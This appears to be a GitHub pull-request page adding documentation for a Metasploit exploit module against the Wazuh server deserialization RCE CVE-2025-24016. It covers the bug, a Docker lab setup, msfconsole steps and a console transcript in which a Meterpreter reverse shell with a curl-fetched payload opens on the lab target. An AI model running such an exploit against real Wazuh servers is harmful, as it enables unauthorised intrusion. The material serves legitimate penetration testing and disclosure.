Skip to content

Wazuh Server authenticated RCE [CVE-2025-24016] #20387

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 5 commits into from
Aug 12, 2025
Merged
Show file tree
Hide file tree
Changes from 4 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,381 @@
## Vulnerable Application
Wazuh is a free and open source platform used for threat prevention, detection, and response.
Starting in version `4.4.0` and prior to version `4.9.1`, an unsafe deserialization vulnerability allows for remote code
execution on Wazuh servers. DistributedAPI parameters are a serialized as JSON and deserialized using `as_wazuh_object` in
`/var/ossec/framework/wazuh/core/cluster/common.py`. If an attacker manages to inject an unsanitized dictionary in DAPI
request/response, they can forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code.
The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh servers in the cluster) or,
in certain configurations, even by a compromised agent.

The following Wazuh release has been tested:
* Wazuh Server 4.8.2 multi-node cluster running on Docker Desktop

See also this [attackerkb article](https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016) for more info.

## Installation
### Installation steps to install the Wazuh Server application
* Install `Docker` on your preferred platform.
* Here are the installation instructions for [Docker Desktop on MacOS](https://docs.docker.com/desktop/install/mac-install/).
* Create a empty directory (`wazuh-docker`).
* Create the `generate-indexer-certs.yml` file in the directory.
```yaml
# Wazuh App Copyright (C) 2017, Wazuh Inc. (License GPLv2)
version: '3'

services:
generator:
image: wazuh/wazuh-certs-generator:0.0.2
hostname: wazuh-certs-generator
volumes:
- ./config/wazuh_indexer_ssl_certs/:/certificates/
- ./config/certs.yml:/config/certs.yml
```
* Run the certificate creation script.
```
docker-compose -f generate-indexer-certs.yml run --rm generator
```
* Create the following `docker-compose.yml` file in the directory. This will automatically create a Wazuh server multi-node cluster.
* You can modify the `4.8.2` version in the `yml` file to pull different versions.
```yaml
# Wazuh App Copyright (C) 2017, Wazuh Inc. (License GPLv2)
version: '3.7'

services:
wazuh.master:
image: wazuh/wazuh-manager:4.8.2
hostname: wazuh.master
restart: always
ulimits:
memlock:
soft: -1
hard: -1
nofile:
soft: 655360
hard: 655360
ports:
- "1515:1515"
- "514:514/udp"
- "55000:55000"
environment:
- INDEXER_URL=https://wazuh1.indexer:9200
- INDEXER_USERNAME=admin
- INDEXER_PASSWORD=SecretPassword
- FILEBEAT_SSL_VERIFICATION_MODE=full
- SSL_CERTIFICATE_AUTHORITIES=/etc/ssl/root-ca.pem
- SSL_CERTIFICATE=/etc/ssl/filebeat.pem
- SSL_KEY=/etc/ssl/filebeat.key
- API_USERNAME=wazuh-wui
- API_PASSWORD=MyS3cr37P450r.*-
volumes:
- master-wazuh-api-configuration:/var/ossec/api/configuration
- master-wazuh-etc:/var/ossec/etc
- master-wazuh-logs:/var/ossec/logs
- master-wazuh-queue:/var/ossec/queue
- master-wazuh-var-multigroups:/var/ossec/var/multigroups
- master-wazuh-integrations:/var/ossec/integrations
- master-wazuh-active-response:/var/ossec/active-response/bin
- master-wazuh-agentless:/var/ossec/agentless
- master-wazuh-wodles:/var/ossec/wodles
- master-filebeat-etc:/etc/filebeat
- master-filebeat-var:/var/lib/filebeat
- ./config/wazuh_indexer_ssl_certs/root-ca-manager.pem:/etc/ssl/root-ca.pem
- ./config/wazuh_indexer_ssl_certs/wazuh.master.pem:/etc/ssl/filebeat.pem
- ./config/wazuh_indexer_ssl_certs/wazuh.master-key.pem:/etc/ssl/filebeat.key
- ./config/wazuh_cluster/wazuh_manager.conf:/wazuh-config-mount/etc/ossec.conf

wazuh.worker:
image: wazuh/wazuh-manager:4.8.2
hostname: wazuh.worker
restart: always
ulimits:
memlock:
soft: -1
hard: -1
nofile:
soft: 655360
hard: 655360
ports:
- "56000:55000"
- "5555:5555"
environment:
- INDEXER_URL=https://wazuh1.indexer:9200
- INDEXER_USERNAME=admin
- INDEXER_PASSWORD=SecretPassword
- FILEBEAT_SSL_VERIFICATION_MODE=full
- SSL_CERTIFICATE_AUTHORITIES=/etc/ssl/root-ca.pem
- SSL_CERTIFICATE=/etc/ssl/filebeat.pem
- SSL_KEY=/etc/ssl/filebeat.key
- PYTHONBREAKPOINT=remote_pdb.set_trace
- REMOTE_PDB_HOST=0.0.0.0
- REMOTE_PDB_PORT=5555
volumes:
- worker-wazuh-api-configuration:/var/ossec/api/configuration
- worker-wazuh-etc:/var/ossec/etc
- worker-wazuh-logs:/var/ossec/logs
- worker-wazuh-queue:/var/ossec/queue
- worker-wazuh-var-multigroups:/var/ossec/var/multigroups
- worker-wazuh-integrations:/var/ossec/integrations
- worker-wazuh-active-response:/var/ossec/active-response/bin
- worker-wazuh-agentless:/var/ossec/agentless
- worker-wazuh-wodles:/var/ossec/wodles
- worker-filebeat-etc:/etc/filebeat
- worker-filebeat-var:/var/lib/filebeat
- ./config/wazuh_indexer_ssl_certs/root-ca-manager.pem:/etc/ssl/root-ca.pem
- ./config/wazuh_indexer_ssl_certs/wazuh.worker.pem:/etc/ssl/filebeat.pem
- ./config/wazuh_indexer_ssl_certs/wazuh.worker-key.pem:/etc/ssl/filebeat.key
- ./config/wazuh_cluster/wazuh_worker.conf:/wazuh-config-mount/etc/ossec.conf

wazuh1.indexer:
image: wazuh/wazuh-indexer:4.8.2
hostname: wazuh1.indexer
restart: always
ports:
- "9200:9200"
environment:
- "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
- "bootstrap.memory_lock=true"
ulimits:
memlock:
soft: -1
hard: -1
nofile:
soft: 65536
hard: 65536
volumes:
- wazuh-indexer-data-1:/var/lib/wazuh-indexer
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
- ./config/wazuh_indexer_ssl_certs/wazuh1.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh1.indexer.key
- ./config/wazuh_indexer_ssl_certs/wazuh1.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh1.indexer.pem
- ./config/wazuh_indexer_ssl_certs/admin.pem:/usr/share/wazuh-indexer/certs/admin.pem
- ./config/wazuh_indexer_ssl_certs/admin-key.pem:/usr/share/wazuh-indexer/certs/admin-key.pem
- ./config/wazuh_indexer/wazuh1.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
- ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml

wazuh2.indexer:
image: wazuh/wazuh-indexer:4.8.2
hostname: wazuh2.indexer
restart: always
environment:
- "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
- "bootstrap.memory_lock=true"
ulimits:
memlock:
soft: -1
hard: -1
nofile:
soft: 65536
hard: 65536
volumes:
- wazuh-indexer-data-2:/var/lib/wazuh-indexer
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
- ./config/wazuh_indexer_ssl_certs/wazuh2.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh2.indexer.key
- ./config/wazuh_indexer_ssl_certs/wazuh2.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh2.indexer.pem
- ./config/wazuh_indexer/wazuh2.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
- ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml

wazuh3.indexer:
image: wazuh/wazuh-indexer:4.8.2
hostname: wazuh3.indexer
restart: always
environment:
- "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g"
- "bootstrap.memory_lock=true"
ulimits:
memlock:
soft: -1
hard: -1
nofile:
soft: 65536
hard: 65536
volumes:
- wazuh-indexer-data-3:/var/lib/wazuh-indexer
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem
- ./config/wazuh_indexer_ssl_certs/wazuh3.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh3.indexer.key
- ./config/wazuh_indexer_ssl_certs/wazuh3.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh3.indexer.pem
- ./config/wazuh_indexer/wazuh3.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml
- ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml

wazuh.dashboard:
image: wazuh/wazuh-dashboard:4.8.2
hostname: wazuh.dashboard
restart: always
ports:
- 443:5601
environment:
- OPENSEARCH_HOSTS="https://wazuh1.indexer:9200"
- WAZUH_API_URL="https://wazuh.master"
- API_USERNAME=wazuh-wui
- API_PASSWORD=MyS3cr37P450r.*-
- DASHBOARD_USERNAME=kibanaserver
- DASHBOARD_PASSWORD=kibanaserver
volumes:
- ./config/wazuh_indexer_ssl_certs/wazuh.dashboard.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard.pem
- ./config/wazuh_indexer_ssl_certs/wazuh.dashboard-key.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard-key.pem
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-dashboard/certs/root-ca.pem
- ./config/wazuh_dashboard/opensearch_dashboards.yml:/usr/share/wazuh-dashboard/config/opensearch_dashboards.yml
- ./config/wazuh_dashboard/wazuh.yml:/usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml
- wazuh-dashboard-config:/usr/share/wazuh-dashboard/data/wazuh/config
- wazuh-dashboard-custom:/usr/share/wazuh-dashboard/plugins/wazuh/public/assets/custom
depends_on:
- wazuh1.indexer
links:
- wazuh1.indexer:wazuh1.indexer
- wazuh.master:wazuh.master

nginx:
image: nginx:stable
hostname: nginx
restart: always
ports:
- "1514:1514"
depends_on:
- wazuh.master
- wazuh.worker
- wazuh.dashboard
links:
- wazuh.master:wazuh.master
- wazuh.worker:wazuh.worker
- wazuh.dashboard:wazuh.dashboard
volumes:
- ./config/nginx/nginx.conf:/etc/nginx/nginx.conf:ro

volumes:
master-wazuh-api-configuration:
master-wazuh-etc:
master-wazuh-logs:
master-wazuh-queue:
master-wazuh-var-multigroups:
master-wazuh-integrations:
master-wazuh-active-response:
master-wazuh-agentless:
master-wazuh-wodles:
master-filebeat-etc:
master-filebeat-var:
worker-wazuh-api-configuration:
worker-wazuh-etc:
worker-wazuh-logs:
worker-wazuh-queue:
worker-wazuh-var-multigroups:
worker-wazuh-integrations:
worker-wazuh-active-response:
worker-wazuh-agentless:
worker-wazuh-wodles:
worker-filebeat-etc:
worker-filebeat-var:
wazuh-indexer-data-1:
wazuh-indexer-data-2:
wazuh-indexer-data-3:
wazuh-dashboard-config:
wazuh-dashboard-custom:
```
* Run following command `docker-compose up -d` to install and run the Wazuh server cluster environment.
* Your Wazuh server should be accessible on `https://localhost` with an active Wazuh server cluster running.
* You can bring down the environment for a fresh start with the command `docker-compose down`.

You are now ready to test the module.

**IMPORTANT NOTE:**
This vulnerability can only be triggered in a Wazuh multi-node cluster configuration, because it needs the distributed API function.
It is important to understand that the worker-server port (`55000`) should be exposed to the outside world in order to trigger
this vulnerability. In the above lab setup, it is exposed on port `56000` (see the `docker-compose.yml` file)
Using it directly on the master-server port (`55000`) will not work because the DAPI request is not leveraged in this case, hence
the vulnerable code will not be triggered.

## Verification Steps
- [ ] Start `msfconsole`
- [ ] `use exploit/linux/http/wazuh_auth_rce_cve_2025_24016`
- [ ] `set rhosts <ip-target>`
- [ ] `set rport <port>`
- [ ] `set lhost <attacker-ip>`
- [ ] `set target <0=Unix/Linux Command>`
- [ ] `exploit`

you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings.

## Options
**API Credentials:**
`API_PWD` Wazuh API password (MyS3cr37P450r.*-)
`API_USER` Wazuh API user (wazuh-wui)

## Scenarios
### Wazuh server 4.8.2 on Docker Desktop
```msf
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > options

Module options (exploit/linux/http/wazuh_auth_rce_cve_2025_24016):

Name Current Setting Required Description
---- --------------- -------- -----------
API_PWD MyS3cr37P450r.*- yes Wazuh API password
API_USER wazuh-wui yes Wazuh API user
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http,
socks5h
RHOSTS 192.168.201.85 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 56000 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to the wazuh manager
VHOST no HTTP server virtual host


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python
variant also Python ≥3.8 (Accepted: none, bash, python3.8+)
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
LHOST 192.168.201.10 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


When FETCH_COMMAND is one of CURL,WGET:

Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.


When FETCH_FILELESS is none:

Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_FILENAME WqYFaNqq no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces


Exploit target:

Id Name
-- ----
0 Unix/Linux Command

View the full module info with the info, or info -d command.

msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Wazuh version 4.8.2
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending stage (3090404 bytes) to 192.168.201.85
[*] Meterpreter session 2 opened (192.168.201.10:4444 -> 192.168.201.85:58215) at 2025-07-16 08:14:53 +0000

meterpreter > getuid
Server username: wazuh
meterpreter > sysinfo
Computer : wazuh.master
OS : (Linux 6.10.14-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > pwd
/
meterpreter >
```

## Limitations
This module works only on a Wazuh Server multi-node cluster configuration.
Loading